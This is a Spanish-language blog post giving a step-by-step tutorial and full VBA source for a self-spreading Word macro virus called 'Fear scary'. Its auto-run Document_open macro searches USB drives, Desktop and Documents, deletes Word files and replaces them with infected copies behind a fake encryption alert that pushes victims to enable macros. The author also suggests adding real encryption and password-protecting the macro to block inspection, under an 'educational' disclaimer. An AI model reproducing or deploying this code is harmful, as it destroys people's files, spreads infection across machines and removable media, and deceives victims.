jueves, 29 de junio de 2017

Crear un Virus De Macro Nuevo Método

Esta ves vengo con un código de macro o mejor dicho un virus de macro, con un método diferente de propagación este inventado por mi, digo por mi por que no loe visto en otro sitio.

este virus es similar a un ransomware pero este no pide dinero o rescate, solo pide que habiliten las macros para poder recuperar el archivo y poder visualizarlo.

primeramente abriremos el word y escribiremos el siguiente texto en el documento


ALERTA DE SEGURIDAD

Tu archivo a sido encriptado por por el virus Fear scary  , para desencriptarlo tienes que habilitar las macros y enseguida se mostrara


:::...CodeDocumentWord...:::

y se vera algo así


siguiente pasa sera aguardarlo con la extencion .doc





Después aremos lo siguiente daremos clic en la pestaña programador




luego daremos clic en visual basic


y se mostrara la siguiente ventana



y empezaremos a teclear el siguiente código

Option Explicit

Dim yo As String
Private Sub Document_open()
Randomize
Dim tem As String
Dim c, doc As String
Dim x As Long
Dim word, hoja As Object
Dim code() As String

yo = Me.Path & "\" & Me.Name
tem = Environ("temp") & "\" & CStr(CInt((1000 - 100 + 1) * Rnd + 100)) & ".doc"


primero declaramos la variable yo como global con el comando dim y las variables tem,c,doc,x,word,hoja,code como locales para la función open.

a la variable yo le asignaremos la ruta del documento abierto y a la variable tem le asignamos la ruta de la carpeta temporal del sistema y agregando un nombre al azar del 100 al 1000 y con la extensión doc, esto con la intención de que cree un documento en la carpeta temporal con dicho nombre 

Me.Select
code = Split(Me.Application.Selection.Text, ":::...CodeDocumentWord...:::")

después con el comando Me asemos referencia al archivo abierto y con la función Select seleccionamos su contenido.

ahora con la instrucción Me.Application.Selection.Text extraemos el contenido del documento ya que lo seleccionamos en la instrucción anterior y con el comando Split dividimos su contenido en partes usando la palabra :::...CodeDocumentWord...::: como delimitador y el contenido es almacenado en el vector code.

If UBound(code) = 1 Then
   c = Trim(code(1))
   c = Replace(c, Chr(13), "")
   If c <> "" Then
      For x = 1 To Len(c) Step 2
         doc = doc & Chr(CInt("&H" & Mid(c, x, 2)))
      Next
        
      Open tem For Binary As #1
         Put #1, , doc
      Close #1
      
      Set word = CreateObject("word.application")
      Set hoja = word.Documents.Open(tem)
      word.Visible = True
      word.ShowMe
      Me.Application.Visible = False
   End If
End If

en la siguiente linea pregunto con el comando if si el vector tiene 2 posiciones la 0 que es la que debe contener el mensaje y la 1 donde contiene el documento encriptado, si tiene posición 1 entrara al if y con el comando trim quitara los espacios en blanco y con el comando replace quito los enter que su valor ascii es el 13.

luego vuelvo a preguntar si la variable c contiene algún valor o sea el código encriptado, y si es así este pasara hacer leído en un ciclo for, para después crearlo en un archivo y guardado en la dirección que contiene la variable tem, acto seguido es pasar a visualizarlo, para eso se crea un objecto word y un objecto hoja y es abierto el archivo nuevo con la instrucción word.Documents.Open y con la instrucción word.visible = True se hace visible el documento.

y para que el usuario no siga viendo el archivo infectado lo hacemos invisible con la instrucción Me.Application.Visible = False

lo siguiente es mandar llamar la función infectar 

Call infectar

dentro de ella encontramos esto

Function infectar()
Dim desktop, Document As String
Dim fso, dis, d As Object

Set fso = CreateObject("scripting.filesystemobject")
Set dis = fso.drives


desktop = Environ("userprofile") & "\desktop"
Document = Environ("userprofile") & "\Documents"

For Each d In dis
   If d.drivetype = 1 Then
      Call Encriptar(d)
   End If
Next

Call Encriptar(desktop)
Call Encriptar(Document)


End Function

como vemos declara las variables con el comando dim y crea dos objectos uno llamado fso y otro dis
ala variable desktop se le asigna el valor de la ruta del escritorio y ala variable Document se le asigna la ruta de mis documentos.

como vemos en seguida tenemos un ciclo que recorre todos los drives o mejor dicho los discos que contiene la computadora en ese momento conectados pero con la excepción que solo buscara los discos extraìbles que vendrían siendo las usb, esto para poderlas infectar llamando la función encriptar, la cual contiene el siguiente código

Function Encriptar(ruta)
   Dim carpeta, listfiles, listfolders, f, fso As Object
   Set fso = CreateObject("scripting.filesystemobject")
      
   Set carpeta = fso.getfolder(ruta)
   Set listfolders = carpeta.subfolders
   Set listfiles = carpeta.Files
   
   For Each f In listfiles
      If Mid(f.Path, Len(f.Path) - 3, 4) = ".doc" Or Mid(f.Path, Len(f.Path) - 3, 4) = "docx" Then
         If f.Path <> yo And f.Attributes <> 34 Then
             Call leerarchivo(f.Path)
         End If
      End If
   Next

   For Each f In listfolders
    Call Encriptar(f.Path)
   Next
End Function

esta función toma la ruta que se le asigno primero y busca todos los archivos "docx" y "doc" y si estos son encontrados son enviado a otra función llamada leerarchivo, con la excepcion de que no sea el mismo documento y que no tenga como atributo el valor 34, al terminar de revisar la carpeta donde se encuentra pregunta por cada una de las sub-carpetas que contiene y si tiene alguna sub-carpeta se manda llamar ella misma y sigue asiendo lo mismo recorriendo todos los sub-directorios de una unidad y revisando si contiene los archivos mencionados anteriormente.

después tenemos la función leerarchivo

Function leerarchivo(ruta)

Dim bites As String
Dim hexa, code As String
Dim h As String
Dim x As Long

   bites = Space(FileLen(ruta))

   Open ruta For Binary As #2
      Get #2, , bites
   Close #2

      
   If InStr(1, bites, "ALERTA DE SEGURIDAD") = 0 or InStr(1, bites, "Fear scary") = 0 or InStr(1, bites, ":::...CodeDocumentWord...:::") = 0 Then

      For x = 1 To Len(bites)
         h = Hex(Asc(Mid(bites, x, 1)))
         If Len(h) = 1 Then
            h = "0" & h
         End If
         hexa = hexa & h
      Next
   
      Kill ruta
      ruta = Replace(ruta, ".docx", ".doc")
      Me.Select
      code = Me.Application.Selection.Text
      
      Me.Application.Selection.Text = "ALERTA DE SEGURIDAD" & vbCrLf & "Tu archivo a sido encriptado por por el virus Fear scary  , para desencriptarlo tienes que habilitar las macros y enseguida se mostrara" & vbCrLf & vbCrLf & ":::...CodeDocumentWord...:::" & vbCrLf & vbCrLf & hexa
      Me.SaveAs ruta
      
      Me.Application.Selection.Text = code
      Me.SaveAs yo
      
   End If

End Function

lo que hace esta funcion es leer cada archivo que se le a enviado en forma binaria con el comando open y ya que es leído pregunta si en este se encuentran las palabras "ALERTA DE SEGURIDAD", "Fear scary",":::...CodeDocumentWord...:::" y si se encuentran las 3 quiere desir que el archivo esta infectado pero si solo se encuentran 1 o 2, quiere decir que no y pasara a leer cada byte del archivo y convertirlo a su valor hexa-decimal y almacenarlo en la variable hexa, para después crear una copia del archivo infectado e ingresar los valores hexa-decimales  almacenados en hexa

Nota: yo solo convertí los bytes en a su valor hexadecimal pero pueden ser encriptados, creando una función que lo haga, yo solo lo hice así para que se entendiera un poco

aqui el codigo completo

Option Explicit

Dim yo As String
Private Sub Document_open()
Randomize
Dim tem As String
Dim c, doc As String
Dim x As Long
Dim word, hoja As Object
Dim code() As String

yo = Me.Path & "\" & Me.Name
tem = Environ("temp") & "\" & CStr(CInt((1000 - 100 + 1) * Rnd + 100)) & ".doc"

Me.Select
code = Split(Me.Application.Selection.Text, ":::...CodeDocumentWord...:::")

If UBound(code) = 1 Then
   c = Trim(code(1))
   c = Replace(c, Chr(13), "")
   If c <> "" Then
      For x = 1 To Len(c) Step 2
         doc = doc & Chr(CInt("&H" & Mid(c, x, 2)))
      Next
        
      Open tem For Binary As #1
         Put #1, , doc
      Close #1
      
      Set word = CreateObject("word.application")
      Set hoja = word.Documents.Open(tem)
      word.Visible = True
      word.ShowMe
      Me.Application.Visible = False
   End If
End If
Call infectar
 Me.SaveAs yo
 Me.Application.Quit
End Sub


Function infectar()
Dim desktop, Document As String
Dim fso, dis, d As Object

Set fso = CreateObject("scripting.filesystemobject")
Set dis = fso.drives


desktop = Environ("userprofile") & "\desktop"
Document = Environ("userprofile") & "\Documents"

For Each d In dis
   If d.drivetype = 1 Then
      Call Encriptar(d)
   End If
Next

Call Encriptar(desktop)
Call Encriptar(Document)

End Function

Function Encriptar(ruta)
   Dim carpeta, listfiles, listfolders, f, fso As Object
   Set fso = CreateObject("scripting.filesystemobject")
      
   Set carpeta = fso.getfolder(ruta)
   Set listfolders = carpeta.subfolders
   Set listfiles = carpeta.Files
   
   For Each f In listfiles
      If Mid(f.Path, Len(f.Path) - 3, 4) = ".doc" Or Mid(f.Path, Len(f.Path) - 3, 4) = "docx" Then
         If f.Path <> yo And f.Attributes <> 34 Then
             Call leerarchivo(f.Path)
         End If
      End If
   Next

   For Each f In listfolders
    Call Encriptar(f.Path)
   Next
End Function



Function leerarchivo(ruta)

Dim bites As String
Dim hexa, code As String
Dim h As String
Dim x As Long

bites = Space(FileLen(ruta))

   Open ruta For Binary As #2
      Get #2, , bites
   Close #2
     
   If InStr(1, bites, "ALERTA DE SEGURIDAD") = 0 or InStr(1, bites, "Fear scary") = 0 or InStr(1, bites, ":::...CodeDocumentWord...:::") = 0 Then

      For x = 1 To Len(bites)
         h = Hex(Asc(Mid(bites, x, 1)))
         If Len(h) = 1 Then
            h = "0" & h
         End If
         hexa = hexa & h
      Next
   
      Kill ruta
      ruta = Replace(ruta, ".docx", ".doc")
      Me.Select
      code = Me.Application.Selection.Text
      
      Me.Application.Selection.Text = "ALERTA DE SEGURIDAD" & vbCrLf & "Tu archivo a sido encriptado por por el virus Fear scary  , para desencriptarlo tienes que habilitar las macros y enseguida se mostrara" & vbCrLf & vbCrLf & ":::...CodeDocumentWord...:::" & vbCrLf & vbCrLf & hexa
      Me.SaveAs ruta
      
      Me.Application.Selection.Text = code
      Me.SaveAs yo
      
   End If
End Function


si quieren dificultarle la vida al que quiera he charle un vistazo a su macro pueden ponerle clave, dando clic en herramientas y luego en



y en la siguiente ventana dan clic en protección y palomean la siguiente opción e ingresan la clave



bueno creo que eso es todo por hoy y espero le sirva a alguien y recuerden que lo expuesto aquí son con fines educativos y lo hago para que vean que hay métodos de infección que no sean visto, yo no lo e visto en otra parte


Saludos Flamer


No hay comentarios.:

Publicar un comentario